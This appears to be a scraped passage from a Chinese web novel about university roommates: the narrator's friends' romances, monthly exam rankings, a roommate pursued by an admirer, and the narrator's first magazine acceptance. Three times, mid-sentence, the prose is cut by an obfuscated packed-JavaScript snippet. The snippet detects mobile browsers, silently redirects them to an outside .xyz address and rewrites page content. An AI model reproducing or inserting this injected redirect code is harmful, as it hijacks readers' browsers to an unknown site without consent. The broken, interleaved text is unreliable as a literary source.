刘小叶有时候会半带着开玩笑的语气说:“小陈哥,你这花心在外的名号,都挡不住姑娘们扑向你的怀抱……” “谁知道她们脑子里是不是短一根筋……”,陈梦晓气呼呼地坐在沙发上,她也是想不明白了,难道她们都听不懂她的话? 陈梦晓作为体育生的优点和缺点一目了然,简单仗义,但直来直去,不会绕弯。后来就连许苑薇都说“小陈哥看上去是老虎,其实是只Hello Kitty”。有时候看她跟刘小叶斗嘴斗不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997344|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过气呼呼的样子,还真像一只蠢萌的大猫。 而凌静宜却是冷在骨子里,她只在乎自己,在乎她的感受,在乎她重视的事情,对于其他的人和事,她从来不会放一点心思在上面。 譬如现在,她才不管我们会不会不开心,她需要安静,那么禁止喧哗打闹。 凌静宜照旧在客厅看书到九点半,然后客厅响起了敲击键盘的声音。一阵急促连续的敲打声,顿了顿,接着又一阵。随着噼里啪啦的敲击节奏,我的眼皮越来越重,翻个身,摸出手机看了一眼,已经快要十点半了。 刘小叶床上的亮光显示她还没关机,一条微信提示音响起。 她从枕头边摸出手机,打开微信,点了一下欧祈的头像,一条信息弹出来:“猪猪,你睡了吗?” 轻轻地笑了。飞快地回了一条信息:“还没呢。宝宝,你在干吗?” 当屏幕上显示“对方正在输入……”时,刘小叶的嘴角禁不住狠狠上扬。几秒钟后,欧祈回了:“我刚躺下,准备看一会儿《银河帝国》。猪猪,你早点睡。” 她的手指飞快地戳着屏幕,“宝宝,我有一点点想你。” 欧祈很快回了消息:“才一点点?我很想你。快睡吧,周末我来找你,带你去吃酱猪肘。” “耶!”刘小叶迅速回了个表情,然后甜蜜地捧着手机躺着。 过了几分钟,她突然问:“小西,你还在玩电脑呢?” 我打个哈欠,“准备关机了,好困啊。怎么了?” 她把手叠着枕在脑袋下面,稍微压低了声音说:“说实话,我有时候觉得凌静宜挺变态的,可有时候又挺佩服她的。她只要在宿舍,不是看书就是写报告,每天早上6点多就起床,换做我,早崩溃了……” “所以你不是凌静宜。”我合上电脑,问:“你怎么还在琢磨凌静宜?” 她嘟囔了一句:“我不是好奇嘛。”然后转身睡了过去。 一觉醒过来,我用半梦游的状态去洗手间。客厅里的灯还亮着,一串外星文快速地钻进我的耳朵里,我努力睁开眼,看见凌静宜正襟危坐在桌子前,开着电脑在打电话。仔细听,才发现她说的是英文,她的语速很快,而且夹杂着很多我不熟悉的词汇。 她突然歪了下头,用右肩膀夹住手机,左手用无线鼠标在几张Excel表格里来回翻,接着报着一串数字,随后似乎在详细解释那串数字是如何得出来的,压根没发现我从她身后走了过去。 回到房间,我从床头拿起手机看了一眼,凌晨三点半。 突然,睡梦中的刘小叶迷迷糊糊地喊了一声:“啊……明天周一,要跑操。我不想起床!我不要跑操!” 我重新倒回床上,柔软的枕头和被子散发出好闻的专属睡眠的味道,我还来不及去细想为什么半夜三更凌静宜还在打电话,就迅速去见了周公。 9. 第 9 章 提起铭盛这个万恶的跑操制度,刘小叶和我都恨得牙痒痒。根据学校规定,每天7点半之前必须要跑到一号教学楼外面的空地上盖章签到。这意味着最晚7点钟起床,不然就得蓬头垢面地面对无数熟悉或陌生的眼光。但事实上,就算7点起床,也不过就是洗个脸梳个头,至多比蓬头垢面好上那么一丁点儿。 原先听说先集合再跑操,6点50分集合。如果是那样,我真想两脚一蹬,直接去世。现在各跑各的,值得庆幸。 当然,跑操的痛苦只适用于刘小叶、许苑薇和我三个苦逼的人,陈梦晓是体育特长生,她每天6点半就出去跑步了,跑步对她来说就像呼吸一样自然;至于另外两只妖精,跑操签到什么的对她们来说压根没有约束力。 凌静宜用500块收买了体育部的敲章男,我无比鄙视那个家伙,凌静宜才用了500块就让他承包了整学年的早操章。他要是知道凌静宜多么有钱,肯定得后悔地喷出一口血来。而郑筱的跑操本,一早就被体育部长敲满了整个学期的章。作为回报,郑筱给他买了一顿早餐,结果那家伙把她下学期的章都提前盖了。 这些见钱眼开,见色忘义的家伙! 我咬牙切齿地说:“万恶的制度!万恶的金钱!万恶的美□□惑!这些看见美女就犯晕的男生,哼……” 在这一刻,我已经深深融入到周小西是一个平凡普通女生的设定中,每个月我花钱最多的支出是买书和杂志。这一点无可厚非,不管家境多么平凡普通的女生,都会有在某一个爱好上狂掷千金的嗜好。 比如许苑薇,她对文具完全没有抵抗力,不管是本子还是各种奇怪的笔,看见喜欢的就会买,满满当当装了一抽屉;比如郑筱,书桌上摊着各种发卡头绳和小配饰,这也无可厚非,毕竟美女就是这么养成的。而刘小叶则是漫画和零食控,她的零用钱基本都贡献给了少女漫和各种新出的零食。 至于凌静宜,她的癖好是收集各种各样的杯子,喝水的、喝牛奶的、喝咖啡的、喝果汁的……还有不知道用来喝什么的,琳琅满目,占据了书架的两层。除此之外,饮水机、咖啡机和冰箱旁边的置物架上,永远摆着标志性的水晶浮雕杯,晶莹剔透且脆弱,用张恨水的辞藻来形容——有一种浮生若梦的意境。 哦,不对,平凡女生这四个字跟凌静宜没有一毛钱关系。 幸好这个时代有着无比发达的互联网,否则在铭盛,我们在超市和食堂拼了命花钱也如同蚍蜉撼树。在花钱如流水的W市,铭盛堪称一股清泉,第一次在食堂买早餐,食堂阿姨递过来两个包子一个鸡蛋,“一共两块五”,我的眼珠子差点没掉出来。 “你也可以啊。”刘小叶一脸谄媚地望着我,“顺便把我的也盖上。” 我戳着她的脑袋,“刘小叶,你没搞错吧,居然让我出卖色相……况且,你以为人人都可以啊?我又不是郑筱……” “哎,周小西,难道没人跟你说过你长得很妖神吗?”刘小叶睁大她本来就大的眼睛,万分惊异地问道,“你以为我随便就会搭讪别人吗?还不是因为你长的好看!” 我才不相信,她的搭讪属性跟自来熟属性一样,完全不受控。 此外,我由衷地佩服刘小叶对中国文字的使用能力,她总是能把那些原本很正常的词汇以别人压根想不到的方式重新组合,让别人耳目一新,“妖孽”,“妖精”,“妖怪”,“妖兽”,“妖狐”……这一大堆词里面,想破脑袋我都想不到她的这个“妖神”。 “妖神?刘小叶,你简直是中华大词库啊!” 她洋洋得意地偏着脑袋:“那是。” 哎,不对,我的重点都被她带偏了:“你才妖神呢……我哪里妖了?” 刘小叶一本正经地对着我来回看,叉着腰说:“你看看你的脸啊,一看就不是良家妇女,妖精得很,可又没有狐媚气,有时候看起来吧,还有点仙儿,你说不是妖神是什么?” 我真不知道刘小叶是在夸我还是在骂我,又不知道该怎么反驳她,只能翻个白眼,问她:“良家妇女该长什么样?” 虽然我连个正经恋爱都没谈过,但偏偏让人觉得我是辣手摧花阅男无数的人种。李离曾经说过我长了一副冷艳妖娆的面孔,现在刘小叶又说我不像良家妇女,我到底招谁惹谁了?! 她突然一把抱住我:“小西,你老实交代,你收了多少封情书?”她圆乎乎的眼睛滴溜溜转了两圈:“说你没人追,我才不信呢,除非那些男生的眼睛都瞎了!” 我一脸真诚地说:“绝对没有,我是异性绝缘体。” 事实上,我把收到的情书统统撕掉扔进了垃圾桶。 “暴殄天物!”刘小叶鼓起她肉乎乎的腮帮,“我让欧祈给你物色男朋友!” “千万别!”就刘小叶这个说风就是雨的性格,我都能想象欧祈被她逼成红牌媒婆以及我天天应付各种不知道从哪里挖出来的青年才俊的窘迫情景。 “也对,欧祈的眼光不怎么样。”她突然良心发现,然后说了一句让我一口水差点喷到电脑屏幕上的话:“要不然他也不会看上我了。” 刘小叶已经远超出自知之明的范畴,她总是变着法儿自黑的精神绝对可以列入教科书。不过她这么一说,倒让我不由好奇刘小叶是怎么搞定的欧祈,据说欧祈在他们学校也是系草一棵,放着本学校那么多娇嫩的玫瑰、茉莉等等娇艳的花朵不采,不远千里地跑到铭盛来采刘小叶这朵牵牛花(刘小叶还用狗尾巴花形容过自己),我直觉这里面肯定有个大八卦。 “小叶,你跟欧祈是怎么在一起的?”我的好奇太明显,以致于刘小叶明显误读了我的好奇心,她的嘴巴嘟得老高,“我就说吧,你们是不是都觉得我配不上他?” 这下倒好,我的好奇倒是勾出了刘小叶的玻璃心。 我赶紧澄清,“怎么会?你那么可爱,怎么会配不上欧祈?” 我对刘小叶也不完全是恭维,虽然她有点胖,可圆乎乎的身材像极了国宝熊猫,而且捏上去手感极好。 她的眼睛笑得弯弯的,“欧祈也这么说。” 一提起欧祈,刘小叶整个人就甜蜜得像泡在蜜罐里一样,不受控制地来回摇晃身体。用郑筱的话说,就像一条吃错了药扭来扭去的小巴蛇一样。 然后,我就听到了一段堪称纯情派小说的甜蜜往事。 “我小时候家住在老北桥那边,读小学二年级的时候,欧祈家从西城搬来,住在我家斜对面。说来也巧,他居然跟我同一个班哎,我们经常一起上学放学。我们考上了同一所中学,虽然他在特优班,我在普通班,我们还是一块上学放学。后来,欧祈因为成绩好,被直接保送到了S大附属高中;我的成绩,一直都不怎么样,所以只能上原初中的学校……” 刘小叶垂下眼睛,我才发现她的睫毛又长又密,像洋娃娃一样。 “本来他说他不去保送的学校了,要跟我一起留在原学校,把我吓得半死。要让我爸知道,还不得把我打死,好说歹说磨了半天他才同意去读……” 没想到,他们居然是青梅竹马;更没想到,原来欧祈是一颗大情种。 但这节奏慢得就像读书一直都在扉页翻不过去是怎么回事?刘小叶这个风风火火的个性,居然玩起了迂回战术。 “刘小叶,说重点。你们俩到底怎么在一起的?你现在的行为简直是无耻的注水——片头预告五分钟,上集回放五分钟,中间还插播广告时间五分钟,就是不放正片!!” “哎呦,你别急嘛……马上就到重点了。” 刘小叶的脸上流露出一种既纠结又甜蜜的表情,我没由来地觉得毛骨悚然——甜美可人的小女人姿态果然不适合她。 “读高中前的那个暑假,他约我出去玩。我们一路走回了西城那边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997345|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他带我看他小时候爬过的树,然后……” 她的脸蛋涨得通红,压低声音,仍然不能掩盖羞涩,“然后,在那棵树下,我们就接吻了……就轻轻地亲了一下,就一下下……” 没想到,真没想到,居然劲爆到没告白就直接接吻,看来这个欧祈相当不简单——我在心里默默评估,会不会有渣男潜质? 不知道为什么,我总是对人性有着司空见惯的怀疑,如果在人性本善抑或本恶中选择,我大概率会选择后者。或许有些人的生命底色就是悲凉主导,而我只是其中一员。生命这件事本身,不就是与一些人或一些事抗争,抗拒最初的基因设定,最终获得对于自我的认可?如果一切都是纯白美好,没有那些瑕疵与弱点,没有经过对原始自己的怀疑与否定,那所谓真实的自己,也许从出生直至死亡都笼罩着面纱,朦朦胧胧,似是而非。 欧祈究竟是情不自禁还是早有预谋,无从得知。 刘小叶喋喋不休地陷入了回忆,而我则在其中若有所思寻找蛛丝马迹。随即,我突然想起了李离曾经说过的一句话——凡事别想太多,想太多的人注定不快乐——基于李离哲学,理智有时候需要让位给多巴胺。对于李离来说,快乐就是人生信条,所有行动都应该遵循这个信条发生,所有行动都应该是信条最完美的注解。 李离没有恋爱经历,可她总结的“恋爱一百八十条法则”里还真有这么一条——近水楼台先得月。凭欧祈的长相和S大学霸这两点,估计不少姑娘嫉妒刘小叶。算起来,刘小叶并不吃亏。 “小西,欧祈一直说我好看,我觉得吧,我小时候长得还行。”刘小叶突然很认真地说:“我给你看照片。” 我以为欧祈是情人眼里出西施,可看到刘小叶小时候的照片时,我的嘴巴不由自主张大到能塞得下一颗鸵鸟蛋的程度,同时认定了欧祈从小就是个好色之徒。她小时候长得太漂亮了,如果让我票选谁是最可爱的小姑娘,我一定会投刘小叶。 我小时候长得那叫一个歪瓜裂枣,要不是医生再三保证绝对没抱错,我爸估计都不想认我。尤其是刚生下来的时候,我妈说把她都给吓着了。别人家孩子一个个粉嘟嘟嫩呼呼的,而我浑身通红,一层皮包着骨头,浑身长着长长的绒毛,加上才四斤多重,比奶奶家的那只猫还轻,蜷缩成一团,一眼望过去跟只小老鼠一样。 在我还没有蜕变成可爱的米其林轮胎之前,我爸连多看我一眼都嫌浪费。后来我揣测,我爸这完全是公报私仇。 我妈在怀我的时候吐得那叫一个惊天地泣鬼神,吃什么吐什么,都快把黄胆水吐出来了。每天只能吃点水果喝点牛奶,虽然肚子大得跟怀双胞胎一样,体重反而比没怀孕前还轻,我爸心疼得要命,迁怒于我,谁让我让我妈吃了那么多苦呢。直到我逐渐长得肥白可爱,我爸才勉为其难逗逗我。 度过了白胖的可爱幼儿期之后,我并没有如我妈期望长成水灵灵的小美人儿,反而继续着幼儿期的肥。我妈用了各种方法,把我弄去学跳舞,控制我的饮食……没有任何作用。 我妈已经绝望地放弃了。在六年级那年,我突然就像被放了气的气球一样变得苗条,原先臃肿的五官一下子精致立体起来……到上高中的时候,我身上已经没有以前的一点儿影子了,美国回来的姑妈看到我直呼“这是那个小时候丑得像耗子的姑娘?!”。有不少人称赞“女大十八变”,可我依旧不相信自己是好看的,顶多是从丑小鸭长成了正常人类。 如果把小学时候的我跟刘小叶放在一起,我是丑小鸭,而她是美天鹅。 “小叶,你减肥吧。”我说这句话的时候,她刚把买的肉包子塞进嘴里狠狠地咬了一口,一脸无辜地望着我。 我望着她圆乎乎的脸,再次诚恳地说:“你减肥吧。” 刘小叶像是突然被雷劈中一样,嘴里的包子馅儿啪嗒一声掉在了地上。 10. 第 10 章 月考成绩公布那天,不出意料,我考得不好不坏,全班35个人,排名18,真是个吉利的数字。而刘小叶,比我更差劲,她排名27,离垫底也不远了。系里排名就不说了。 金融系的那两位绝对碾压我们,许苑薇班级第二,全系第四;更可怕的是凌静宜,班级第一,全系第一。 幸好没有进行经济学院整体排名。 “哇塞,许许,没想到,你是超级大学霸啊。”刘小叶满眼冒红心,对着许苑薇大肆赞美:“我怎么说来着,我们宿舍必火啊。住着两美女,两学霸,还有帅帅的小陈哥。” “连系里前三都没进……” 许苑薇不是特别高兴,蔫蔫的,提不起精神的样子。 我倒没什么,平时不用功,临时抱佛脚,没垫底我就偷笑了,我感觉刘小叶也是这么想的。许苑薇平时比我们努力得多,拿这个成绩实至名归。凌静宜大部分时间都没花在课本上,下了课也没见她复习,居然考了第一名。本来许苑薇全系第四的成绩很不错,可人总是经不起对比。一对比,就显得有些不是滋味了。 “许许,你可别这么想。你要这么说,我跟小西不都要买块豆腐撞死了?”刘小叶嘟嘟囔囔。 “大学里牛人太多了,我不跟你们去吃饭了。”许苑薇推了一下她鼻梁上圆圆的眼镜:“你们回来的时候帮我带一份饭吧。谢谢。” 许苑薇低落的情绪冲散了我们想要庆祝考试过关的快乐气氛。 对于她的情绪,我或多或少有些体会:小升初是我人生中第一次大考失利,沮丧、自我怀疑,铺天盖地的绝望,就像一场飓风裹挟着大浪把我狠狠地拍在沙滩上。从此之后,大考失利就成了我的标配,而我也渐渐习惯了。 我想许苑薇也会渐渐接受总有人比她更优秀的人生设定。 在我对面的郑筱安安静静地站着,真是赏心悦目。可不知道为什么,她微微上扬的嘴角,却让我莫名感觉陌生。我们似乎很亲密,每天分享着彼此的生活和见闻,可对于每个人的过去,我们全都一无所知。在大学之前的日子里,我们是否都如一张白纸?至少我不是。 刘小叶扯了扯我的胳膊,“你想什么呢?” “没什么。去吃饭吧。” 走出宿舍后,刘小叶呼出一口气,“憋死我了……”,她挽起我的胳膊,兴致勃勃地说:“小西,我们今天去第五食堂吧,那里新开了个卖小笼包的窗口,有蟹粉小笼包哎……庆祝我没垫底,欧耶!” 她对我扬起笑脸,“还得感谢你给我考前讲解和押题。” 我严重怀疑她收买了各个食堂的阿姨作内线,每天食堂的菜谱倒背如流。途经第四食堂,她摇着头说:“红烧猪大肠,苦瓜炒蛋,咸鸭腿,干煸鲫鱼,烧杂烩,炒豆芽,炒豇豆,雪菜香干……唯一能吃的也就只有毛豆肉丝了。” “刘小叶,你要是把这记菜名的劲头用在学习上,肯定能拿第一名,哪儿还需要我押题。” “就是。”郑筱心不在焉地附和。 刘小叶摆摆手,“六十分万岁,多一分浪费。有那个时间,我不如多看两本漫画,嘿嘿。” 郑筱和刘小叶正在食堂里争论究竟是蟹粉小笼包好吃还是鲜肉小笼包好吃,我接到了陈梦晓的电话。 “你们在哪儿呢?” “第五食堂,最里面靠近窗户的位置。” “好,我马上过来。” 我刚挂电话,刘小叶就趴了过来,“小陈哥?”然后,她的眼珠子滴溜溜一阵转,“她肯定有事儿要找我们商量。” “你怎么知道?”我很好奇她怎么突然变成了刘半仙。 “你看小陈哥哪一次吃饭积极过?”刘小叶不去当编剧真是可惜了,否则我们就不用受那些没有想象力的肥皂剧荼毒。 陈梦晓一阵风一样冲进来,精准无误地找到了吃得满嘴流油的我们,并且一把抓住了我握着筷子伸向盘子里最后一个小笼包的手。刘小叶趁机以迅雷不及掩耳之势夹走了它!她心满意足地咬开一个小口子,嘬着里面的汤汁……这家伙,还说是感谢我,八个小笼包她一个人就吃了五个! “我靠!有个女的追着说要睡我,吓死我了!” 我们三个整齐划一地张大了嘴,这真是一个让人耳朵怀孕的年代。我不禁在心里感慨,现在的女生原来已经进化到了这个地步?好好的小姑娘,动不动就要睡别人,还是要睡另一个女生。看来我还活在远古时代,估计马上就要被这些时髦前卫的后浪拍死在沙滩上了。 我们仨互相对视了一眼之后,刘小叶深深吸了一口气,好像一尾从水里捞出来扔在岸上的鱼一样大口呼吸着逐渐稀薄的空气,“事实上……” “你别说话。”陈梦晓迅速制止了她,生怕她说出什么让她更加抓狂的话来。“都不准发表评论!”天地良心,我们一个字都没说,连倒吸一口气都没发出声音。 郑筱哀怨地瞪了一眼刘小叶,都怪她平时对陈梦晓实施全方位各角度的调侃加意淫,现在连累她连话都不让说了。 陈梦晓望着我,目光里闪烁着哀求的表情,“小西,你一定要帮帮我。” 当陈梦晓扁着嘴求助的时候,我的脑海里出现了“鸵鸟依人”这个词。老实说,很不厚道,但就是我此刻的感受。 “你不要管她,她也就是说说。我就不信她敢冲进我们宿舍,当着我们的面□□你。”我努力试图打消她的顾虑。 陈梦晓的牙齿打了个颤,□□?她还没想到会发生这种事情,突然她觉得一个人去上课和练习都成了非常危险的事情,况且她去训练的时候还会途径一片行人稀少的小树林。她现在觉得那个女生会埋伏在那里等她经过,然后把她拖进小树林……本来她只是烦恼那个女生的穷追不舍,现在却变成了害怕惊恐。 “不行,以后你们跟我一起去训练场。”陈梦晓在经历了内心的天人交战之后,做出了她认为最英明神武的决定。 “小陈哥,你平时那么酷,那么生猛,怎么随随便便就被一个女生吓成这样?”刘小叶迅速完成对陈梦晓打击的同时给了我个白眼,“小西,你没事吓唬她干嘛,那个女生追着小陈哥说要睡她,就跟现在那些脑残粉追着明星爱豆说我要给你生猴子一样,表示崇拜而已……” 我才发现这次放错重点的人是陈梦晓,与此同时,我很好奇是什么样的女生能把平时酷帅冷静的小陈哥吓成这样——以前她捏碎少女心的方式以快狠准著称,虽然简单粗暴,但屡见奇效。最有杀伤力的一句就是“我喜欢男人”,让一票怀春少女的心碎成玻璃渣,有女朋友还能抢一抢,这有男朋友的可怎么办好? “小陈哥最厉害的一点是杀敌一千,自损八百。”刘小叶的眉毛都快挑上天了。 “什么意思?”陈梦晓一头雾水。 我突然想到了这次事件的重点,“那个女生是不是不知道你是女的?” “我告诉她我喜欢男的,这还不够?”陈梦晓茫然的表情足以说明一切,看来这次她碰到的是又执着又迷糊的追求者。 刘小叶笑得十分诡异:“小陈哥,恭喜你遇到了生命里第一个致力于将gay掰直的强悍女人。” 这个乌龙事件终于在我们瞎猫碰死耗子的情况下真相大白,但陈梦晓显然心有余悸:“万一你们猜错了怎么办?” “我陪你去见那个女生。”我自告奋勇地担当起拯救小陈哥于水火的重任。 “小陈哥,你穿点女孩子的衣服吧。”刘小叶异常诚恳地对她说:“这样能减少很多麻烦,话说你去卫生间时有没有被人当作流氓赶出来?” “你才长得像流氓……” 我每天饶有兴致地看刘小叶和陈梦晓相爱相杀。刘小叶这家伙,每天不变着法儿逗逗陈梦晓就浑身不自在。 陈梦晓举起手,准备给刘小叶一记暴栗,发现夹在她俩中间的郑筱一动不动,换做平时,她早就给她挪位置了。 我们才发现郑筱一直没说话,她脸色异常苍白,僵坐着,眉毛攒在一起,好像很不舒服的样子。 “你怎么了?”刘小叶伸出手想要摸一下她的额头,“是不是生病了?” 郑筱下意识地往旁边缩了缩,躲开了刘小叶的触碰。她整个人懵懵的,好像受到了惊吓一样,一声不吭。 过了几秒钟,她像是突然回过神了,“没事,突然不太舒服。我先回去了。” “要不要陪你去医务室?”刘小叶好心问道:“你脸色不太好。” “不用了,我回去躺一会儿就行。”郑筱的脸色惨白,她捂住肚子走了出去。 “大概是突然来月经了?”刘小叶喃喃,“哎呀,忘了跟她说,我有红糖水了。” “我也快来了,真麻烦。”陈梦晓嘀咕了一声。 我们都没在意,月经那几天很不舒服,来月经这么些年,习惯了。 郑筱走了之后,我们继续讨论了一会儿陈梦晓的发型和着装,试图说服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997346|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她改变帅酷的形象——毕竟被不同的女生堵在各种犄角旮旯要求离开小陈哥的戏码,隔段时间就在我们几个身上轮流上演,现在这频率已经高到让我们开始厌烦。最乏味的是,她们的表现形式非常单一,不是大吵大闹就是声泪俱下,我们已经懒得应付了,她们就不能有点创新意识吗? 就在两个星期前,我和刘小叶还被堵在阶梯教室的门口,那个穿着迷你裙的性感女生再三警告我,如果我不离开陈梦晓,就让我死得很难看。我表示无可奈何,刘小叶在一边笑得差点背过气去。我只能义正言辞地告诉她,如果陈梦晓要跟她在一起,我绝对不反对。再三保证,就差写封保证书给她,我才得以脱身。 陈梦晓并不打算接纳我们对她的改造计划,刘小叶和我对望了一眼,我们迅速从彼此眼神里交换了信息:还得继续应付狂蜂浪蝶啊! 回宿舍的路上,我的手机震动了一下。有一条短信进来。 在微信、□□等即时通讯工具如此发达的时代,很少有人会发短信,偶尔收到的一条不是提示移动余额不足,就是各种奇怪网店的推销。我正准备删除,却发现上面赫然写着:“陆星洺先生,我们决定刊登您投递《N.Z》杂志的文章,并希望您能够继续创作更新连载,具体情况已发邮件到您的投稿邮箱,请查阅后回复。” 尽力压抑自己内心的欢腾和雀跃,我拉着他们几乎一路小跑着回到了宿舍。刘小叶跑得气喘吁吁,“小西,你哪根神经搭错了?居然玩儿奔跑吧,姐妹。啊!我快断气了。” 这一段小跑对陈梦晓来说不在话下,她看一眼摊在沙发上的刘小叶,鄙视地说了一句:“战五渣。”然后回房间拿了衣服和毛巾,甩了甩头发,向浴室走去。 我才没空管她俩的斗嘴,迅速回房间打开手提电脑登陆邮箱。邮件里的回复要求我提供收款人姓名和银行账号用以发放稿费,并希望我在投递的短篇基础上继续写连载。 邮件在最后写道:“如果读者反馈热烈的话,《N.Z》将考虑为您开设一个专栏。” ——意外之喜。 两个月前,抱着反正写了不如试试看的心理,我向《N.Z》网上公布的邮箱投递了一个原创的短篇。从最开始几天的翘首以盼到一个月之后的心灰意冷,持续一个半月没有获得任何反馈,我已经把这件事忘到爪哇国去了。 我抓起手机,打开微信的界面,点开爸爸的头像,一行字在屏幕上快速出现——“爸爸,我的文章在《N.Z》上发表了!!”。正准备发出去,突然一个念头在脑子里闪过,“周小西,你急什么?你的连载还没开始,你获得读者认可了吗?不过侥幸发表了一篇文章,有必要昭告天下吗?”况且,爸爸的反应顶多是“想要哪个包,自己去买来做礼物”,我突然泄了气。 一个字一个字删去。 接下来,我该做什么?哦,对,先回编辑邮件。 怀揣着秘密,晚上我躺在床上翻来覆去睡不着。 终于,我忍不住爬起来,把书架上所有的《N.Z》杂志都搬了下来,摩挲着杂志绚丽的封面。想到“陆星洺”三个字即将出现在上面,我的内心涌起对它的无限爱意。 突然脑子里冒出无数的灵感,我赶紧打开电脑,在键盘上一顿敲打。 刘小叶已经跟欧祈腻歪完毕,她打着哈欠问:“小西,你干嘛呢?还不打算睡?” “有点事儿,你先睡吧。”我敷衍了她。 生怕那些突然出现的文字精灵结伴飞走,我得赶紧把它们都抓住。一个半小时之后,终于把脑子里的所有东西全部落到了纸面,我伸了个懒腰,准备去完厕所回来睡觉。 今天是周五,凌静宜已经回家去了,客厅里一片漆黑。我拿出手机准备开手电筒,发现有微弱的灯光从许苑薇和郑筱房间里透出来。这么晚了,除了我之外还有人没睡?看来这次月考对许苑薇打击挺大,都已经开始挑灯夜读了,yesterday once more,真是赤裸裸的高四时光。 我摇摇头,心想何必呢,都读了那么多年书了,还把自己逼得那么紧。 上完厕所走回房间,听到有隐隐约约轻微的抽泣声,毛骨悚然。我以百米冲刺的速度钻进被窝里,并把脑袋整个埋进枕头里——幸好我平时不写惊悚恐怖故事,头脑里没有足够的素材可以继续刺激我脆弱的神经。 事实证明,我低估了自己心脏的承受水平,不知道什么时候,我已经睡了过去。 11. 第 11 章 早上九点刚过,欧祈就站在了我们宿舍楼下。真不明白,这么自律的欧祈和不知道自制力为何物的刘小叶是怎么好好相处的。 我们已经习惯了每个周六早晨,欧祈到我们宿舍楼下站岗放哨外加担任送外卖小哥。我终于知道郑筱送给体育部长那顿早餐的杀伤力,美色和美食果然是这个世界上让人堕落的催化剂。 尽管如此,我还是不放过任何一个diss欧祈的机会。谁让他总是九点多就到宿舍,打扰了我原本心安理得蒙头睡大觉做美梦的美好时光。这大好的光阴,不拿来睡到自然醒简直是对造物主的亵渎。他知道现在已经是十一月底了吗?从温暖的被窝里爬起来对于意志力的严酷考验,岂是帅哥送一顿免费的早餐可以抵消的?他俩撒狗粮,倒霉的却是我。 我裹着厚厚的羊毛大围巾,脸上带着从被窝里爬起来还没消散的红晕走到他面前,恨不得当着他的面打个硕大的哈欠。 “一日不见如隔三秋,欧祈,你这已经九个秋了,我们能理解,相当能理解。”我接过他递过来的肉包,当然没忘记调侃他。 果不其然,欧祈的脸上泛起一点点红,一直红到耳朵根。没见过这么容易脸红的男生,他跟刘小叶是不是互换了性别?不好意思在刘小叶的人生里可是极其稀少的存在。 我突然想起他第一次来送早饭的情景。 开学两周后的周六,我正在一个神奇的梦里舍生忘死,甚至在梦里就决定要把这段传奇的经历写进我的文章里,然后就被一阵手机铃声吵醒。 那么恶俗的铃声,就算我睡得迷迷糊糊也知道,只能属于刘小叶的奇葩品味。 更可恶的是刘小叶完全没有一丁点儿要醒的征兆,她的睡眠质量好到地震了都不会把她震醒。我很怀疑如果有外星人半夜摸进宿舍把她连人带被子都扛走,她也依旧会睡得口水直流而浑然不觉自己已经搬离了地球表面。她的手机里持续不断地传出让我抓狂的“小苹果”歌声,可她依然岿然不动地睡得天昏地暗。 实在是太吵了,我迷迷糊糊地爬起来,找到她的手机,接起来,“喂……”,还没等我开口说“不管你是谁,请过一个小时,哦不,再过两个小时再打来”,电话那头就传来温柔的男生声音:“猪猪,起床了没?我在你宿舍楼下……” 我彻底清醒,打了个颤,浑身的鸡皮疙瘩全部敬业地站立起来,表达我对于肉麻词汇的接受无能。 “呃……刘小叶还没醒。”我感觉这一天我都会处于汗毛竖立毛孔张开的状态下,但还要表示对当事人的歉意,“对不起,要知道是你打来的,我就不接了。” “那个……”欧祈的声音里透出尴尬,“我是欧祈……不好意思……”然后,他就挂了电话。 我正企图采用美食唤醒法叫醒刘小叶时,她的手机又响了。我看一眼来电,“小王子祈宝”几个辣眼睛的字直接经由我的视网膜神经传达到我的大脑中枢,好像一万伏特电流直接击中我的大脑皮层,我的头顶整个麻了。 手机响了好几声,我只能再次接起来。 “我是欧祈……那个……我给你们带了早饭……”他顿了顿,“能麻烦你下来拿一下吗?” 我随意地扯了件外套披上,蓬头垢面地冲下楼去。欧祈的脸本来有一点点泛红,大概是因为在冷风里站了挺久的。在我冲到他面前的那一刻,他的脸突然涨红得像水煮大虾一样,然后他火速低下了头,伸手把一大袋早餐递给我。 管理员大妈一副少女怀春的表情,“哎呦,小姑娘,早点都男朋友买好送过来呀……” 我懒得解释,拎着袋子迅速冲回了宿舍。拜刘小叶所赐,我的邋遢样子以史无前例的完整姿态暴露在一个我不熟的男生面前。 我到今天都记得管理员大妈看见刘小叶挽着欧祈的手臂一脸欢畅时好像吞了一只苍蝇的表情,我到今天也都还记得那一袋早餐的离奇分量。 郑筱嘴角抽搐了一下,努力遏制住翻白眼的冲动,“你确定这份早餐是给我们的?” 